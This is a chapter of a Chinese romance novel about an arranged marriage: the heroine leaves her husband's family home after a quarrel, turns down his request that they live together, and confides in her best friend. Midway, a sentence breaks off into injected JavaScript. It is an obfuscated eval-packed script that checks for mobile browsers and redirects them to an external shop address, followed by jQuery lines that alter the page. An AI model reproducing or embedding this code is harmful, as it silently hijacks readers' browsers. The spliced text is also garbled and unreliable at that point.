后来的事,沈栀清在长久的发呆中有一点印象,陆沉舟死要面子即便自己做错也不肯道歉,强撑着自己是长子的身份,父母爱子,即便错也是没错,倒是季苏和林毓芳拉下脸,赔笑着跟沈栀清又是道歉又是承诺回家一定好好收拾那个臭小子,一改方才想要吃人的态度,活像是妖怪重新披上人皮做人的感觉。
沈栀清不出声,也不说接不接受,心里只想他们赶紧离开这里,自己也好清静清静,眼看着林毓芳说着说着就要掉眼泪,她看向陆璟年,眼神中带着点求助,后者只是将她从两人之间拉起来,然后带她上楼,同时对正在厨房收拾的阿姨喊了声:“崔姨,茶凉了。”
沈栀清被陆璟年直接带回卧室,过两秒才发现,他始终牵着自己的手没松开,她觉得有些别扭,用了点力,挣脱开他手掌,随后一个人走到窗边假装看景色,起初只是想着缓解尴尬的同时顺便缓和一下脸颊那一点烫,刚从鸡毛蒜皮中抽身,这会儿只想换个心情,后来,屋外枝头偶有鸟儿停落,她视线跟随,思绪也渐渐跟着发散。
其实这会儿想来,刚刚他们说的那些话,并没有真的伤害到她,有时候直白的羞辱要好过看似对你好实则是在等一个机会对你下死手要强很多,虽然不管哪种恶意都很恶心,也幸好那晚陆璟年在场,不然这会儿她应该已经成为一颗弃子了。
经此一事,让她彻底明白,刚才那三位,是日后绝对不能再相信的人,省去了很多浪费时间的试探,而她,也早已不再是那个很好骗的小女孩了。
见沈栀清站在窗前迟迟未动,陆璟年视线落在她那抹纤瘦背影,紧接着朝她走过去,不知过了多久,才问:“在想什么?”
沈栀清眼睛盯着窗外已经结冰的湖水,平静开口:“在想春天什么时候可以来。”
陆璟年笑问:“不喜欢冬天?”
沈栀清点头,“嗯,不喜欢冷冰冰的一切。”包括那个曾经对她来说很温暖的家。
沈栀清也不知道自己为什么会想到那些陈年往事,或许是刚刚有那么一瞬间,她在他们身上看到了韩静初的影子,唯一不同的,是韩静初从来都是软刀子,而这一点却恰好又和林毓芳有点像。
她又想到陆璟年,忍不住猜想,有林毓芳那样的人做继母,这么多年,他过得也很辛苦吧。
于是忍不住问:“陆先生你呢?喜欢冬天吗?”
陆璟年的回答跟她不同,他说:“四季对我来说,没什么分别。”
后来,两人都不再说话,直到楼下传来重重地关门声。
沈栀清如释重负,心底彻底松了一口气,这场戏落幕了,她终于可以回到自己的小窝,于是笑着和陆璟年道别:“陆先生,那我就先走了。”
正准备转身,突然又被陆璟年喊住:“沈小姐。”
“嗯?”
“希望你考虑一下住过来这件事。”
“住过来?”沈栀清反问。
陆璟年语气中是平日里少有的耐心,“像刚刚那样的事,恐怕以后只会更多。”
无中生有的事,只会更多。
沈栀清怎么会听不懂这话里的意思,这段时间在陆家经历的这些事,已经足够让她看清楚陆沉舟还有季苏是什么样的人,至于林毓芳,她今天虽只接触一次,却也看出她不是省油的灯,麻烦事只怕是会一件接一件,不会消停了。
“那我们......”沈栀清停顿一下,还是没想好要怎么问。
陆璟年却听明白她的欲言又止,直言:“住在一起。”
沈栀清下意识看了看这间屋子,思考半天还是觉得自己没做好准备,干脆拒绝:“陆先生,这件事我想再认真想一下,不过,这段时间如果有需要我到场的时候,您可以电话通知我,我车技还不错,不出意外应该会在规定时间内到达,反正也只是在他们眼前演戏而已。”沈栀清说完顿了顿,然后继续说:“您应该不会让他们住进来吧?”
“不会。”
“那陆总再见。”
“嗯。”
陆璟年的声音随着卧室门锁落下的声音响起,沈栀清几乎是逃着离开这间屋子。
望着她离开的方向,陆璟年神色平静,她会拒绝,完全在他意料之中,所以也没打算继续劝,只要她不嫌麻烦,都随她。
手机震动的声音划破室内安静,陆璟年垂眸看了眼上面的来电显示,几不可察地皱了皱眉,再度走到窗前,接通。
年迈的声音从听筒传过来,还有几声因为身体虚弱的咳嗽声也紧接着响起,陆璟年安心等着,直到陆学谦的声音响起,“奕川的事是你做的?”
“是。”
“混帐东西!”
陆璟年冷言冷语,“想骂人,您打错电话了。”
陆学谦也不理,自顾自继续说:“都是一家人,天大的事关起门来自己解决,你倒好,巴不得把陆家的脸都扔到外面去丢!不给你哥的面子也就算了,难道现在我和你林姨的面子都不好使了?!”
“面子是什么很值钱的东西吗?”陆璟年冷笑着反问,“谁丢脸,谁是混帐东西,您心里比我更清楚。”
“况且对我来说,这些莫须有的东西远没有我妻子重要。”
“我记得当初您也是这么维护林姨的,不是吗?”
陆学谦当时为了娶林毓芳也是闹得满城风雨,陆家长辈当两人过往的一段情史当作陆家的丑事,却没想到林毓芳多年后会再出现,还带回来一个男孩,而那时陆璟年的母亲许艾去世还没一个月,陆学谦最后什么手段都用上了,甚至不惜陆家祖辈积累下的名声脸面还有公司利益,那时候,陆学谦为了娶林毓芳进门可以说是豁出去了,陆家长辈最终也只能妥协。
那边一时噤了声,陆璟年静等着,心里默数几个数,数到三时,陆学谦的声音再度响起,“你林姨电话里一直在哭,说是没管好奕川,又冤枉了你那媳妇,想着过几天坐在一起说和说话,也算是尽尽长辈这份心意。”
陆璟年听完,眼神立马冷下来,丝毫不客气地说:“这么多年,您还是这么吃这一套。”
陆学谦知道自己说不过他这儿子,若是往前几年,身子骨好的时候,或许还能压制住,可现在人老了,一个月前那场意外差点要了他的命,在病床上昏睡这么久,一周前才刚醒过来,还没恢复好,估计再回复也恢复不到从前,脾气再硬的人都怕死亡,自然也磨搓掉了一些锐气。
“不管怎么说,你林姨这么多年对你还是不错的,别寒了她的心。”不给陆璟年反驳的机会,说完就把电话挂了,陆璟年也懒得计较,手机随意往床上一扔,懒得计较,自己这位父亲心盲眼瞎也不是一天两天的事了,不过,心里倒是难免有些好奇,林毓芳这一家又打的什么鬼主意。
沈栀清到家的时候,冯素月正拆外卖,看她回来,手里捧着一杯冰可乐去迎,“怎么一脸疲惫啊?演员小姐。”
沈栀清哪还有心思跟她逗嘴,整个人就像是被吸干了精气的,换好鞋,把外衣随手往沙发上一扔,就躺了下去,沈栀清其实想吐槽的又一大堆,可想了想又觉得没什么可说的,最后接过冯素月手上的冰可乐,咕咚咕咚喝了好几口,忍不住感叹,“难怪被叫做快乐肥宅水了。”
冯素月看她情绪那样,也不再追问,转身去桌上把麦当劳全都拎过来,在地毯上摆好,“先补充□□力?”
沈栀清点点头,起身坐下来,边吃边说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276007|198244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“今天陆璟年跟我说希望我住过去。”
冯素月刚准备咬一口汉堡,听到这个,只咬了一口菜叶,然后问:“什么意思?他向你发出同居邀请了?”
沈栀清抬头看她,“你哪来这么多新奇词啊?”
冯素月又问:“你就说是不是。”
“是。”
“那你怎么说?”
“我说回头再说。”
“你拒绝了?”
沈栀清拿起一根薯条蘸了蘸番茄酱,点头,“嗯。”
“那他怎么说?”冯素月要了一口汉堡里的肉,忍不住好奇问。
沈栀清停下动作,认真回想了一下,“他什么也没说。”
聊到这儿,冯素月又开始好奇别的,“你之前列的那份婚前协议,上面有禁止同居这条吗?”
沈栀清说原本是有的,但后来被陆璟年划掉了,“不过我也能理解,毕竟是结婚两边家里这么多双眼睛在盯着,不同居好像不是很现实。”尤其是他们这种联姻关系。
“所以......”
沈栀清当然听明白冯素月欲言又止的后半句是什么,“我的确是还没做好准备。”
“这几天接触下来,陆璟年确实比陆奕川强百倍,可再好,我对他也还没有男女之间的那种感情,同住屋檐下,总归是不舒服,虽然我承认自己存在侥幸心理,也确实仗着陆璟年的那点迁就,能拖一天就一天吧,想到要离开我的安全地去另外一个陌生的地方住,我就有点害怕,那种感觉就像是,韩静初搬到沈家别墅第一个晚上,陌生和未知都让我感到恐惧,对我来说,哪里都没有妈妈留给我的这间房子让我安心。”
冯素月听完,一脸心疼地看着沈栀清,没一会儿,眼睛里噙满泪水,“清清,要不我想想办法凑点钱,把孟阿姨给你留的那家画廊从你父亲那里买下来好了,你和陆璟年离婚吧。”婚礼上,她说的那些话不过是为了宽沈栀清的心,因为事情已成定局,说再多也只会平添烦恼,而陆璟年也的确是人选中脱颖而出的那一个,可她看着自己最好的朋友这样,依旧不忍心,依旧心疼,恨不得自己可以帮她这个忙,逃出这场利益编制的牢笼。
沈栀清看她那副掉眼泪的模样,忍不住笑出声,但紧接着眼角也湿润了,她找出纸巾凑过去在冯素月眼尾那里轻轻擦了擦,边擦边说:“傻姑娘,你有这份心我就很感动了,再说了,我爸才不会这么轻易就把那地方卖掉,不然怎么牵制住我?”不然,凭她的性格也不会落到和不喜欢的人草草结婚了。
气氛突然变得有些伤感,两个人互相给对方擦眼泪,然后抱在一起傻笑,沈栀清不想继续伤感下去,于是跟冯素月说今天发生的事。
把所有事情听完,冯素月果然不哭了,如果不是沈栀清反应快,这会儿她都要冲进厨房去拿菜刀杀到陆家再砍那孙子几刀。。
“幸好你没嫁给陆奕川那种垃圾,不然可真是跳进火坑了。”
其实沈栀清偶尔也会庆幸遇到陆璟年这根救命稻草,尤其是在经历这几件事之后,不管是酒吧还是今早在陆璟年家里发生的一切。
后来,两人又说了些别的,聊着聊着都有点困,起身收拾完垃圾,就各自回屋午休去了,再醒来,外面天已经擦黑,沈栀清睡之前手机调了静音,本想看下时间,结果打开手机就看到陆璟年打过来的十几个未接来电。
她揉了揉眼睛,这会儿还没完全清醒,屋里没开灯,她正准备给他回拨过去,手机这时又有电话打进来。
是陆璟年。
沈栀清点了接听,那头很安静,紧接着男人低哑的声音从听筒中传来。
“下楼。”
“我在你家楼下。”